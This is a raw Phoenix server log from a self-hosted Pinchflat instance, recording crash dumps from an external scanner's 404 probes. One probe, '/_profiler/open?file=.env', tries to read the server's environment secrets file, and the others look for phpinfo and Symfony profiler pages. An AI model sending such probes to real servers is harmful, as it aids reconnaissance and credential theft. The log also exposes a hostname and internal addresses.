Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/latest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgk_N2VshJwUACMsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37302}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37302}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21660.0>, params: %{}, path_info: ["_profiler", "latest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/latest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgk_N2VshJwUACMsB (truncated) 15:40:38.238 [info] GET /info.php 15:40:38.238 [debug] QUERY OK source="settings" db=0.0ms idle=174.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.238 [debug] QUERY OK source="settings" db=0.0ms idle=113.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.238 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.238 [error] #PID<0.21662.0> running PinchflatWeb.Endpoint (connection #PID<0.21661.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37316}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21662.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAglPGegE-beQABcWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37316}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37316}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21662.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAglPGegE-beQABcWC"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:38.284 [info] GET /_profiler/open 15:40:38.284 [debug] QUERY OK source="settings" db=0.1ms idle=160.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.285 [debug] QUERY OK source="settings" db=0.0ms idle=113.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.285 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.285 [error] #PID<0.21664.0> running PinchflatWeb.Endpoint (connection #PID<0.21663.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler/open?file=.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37320}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=.env", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21664.0>, params: %{"file" => ".env"}, path_info: ["_profiler", "open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"file" => ".env"}, query_string: "file=.env", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/open", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAglaKrGMaXKIACMsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37320}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=.env", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37320}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=.env", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21664.0>, params: %{"file" => ".env"}, path_info: ["_profiler", "open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"file" => ".env"}, query_string: "file=.env", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/open", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-c (truncated) 15:40:38.349 [info] GET /phpinfo.php 15:40:38.349 [debug] QUERY OK source="settings" db=0.1ms idle=177.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.349 [debug] QUERY OK source="settings" db=0.0ms idle=111.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.349 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.350 [error] #PID<0.21666.0> running PinchflatWeb.Endpoint (connection #PID<0.21665.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21665.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37324}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21666.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAglprN9Sdtq4ACMtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21665.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37324}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21665.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37324}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21666.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAglprN9Sdtq4ACMtB"} ], scheme: :http, script_name: [], (truncated) 15:40:38.396 [info] GET /app_dev.php/_profiler 15:40:38.396 [debug] QUERY OK source="settings" db=0.0ms idle=158.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.396 [debug] QUERY OK source="settings" db=0.0ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.396 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.396 [error] #PID<0.21668.0> running PinchflatWeb.Endpoint (connection #PID<0.21667.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app_dev.php/_profiler ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37332}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21668.0>, params: %{}, path_info: ["app_dev.php", "_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => 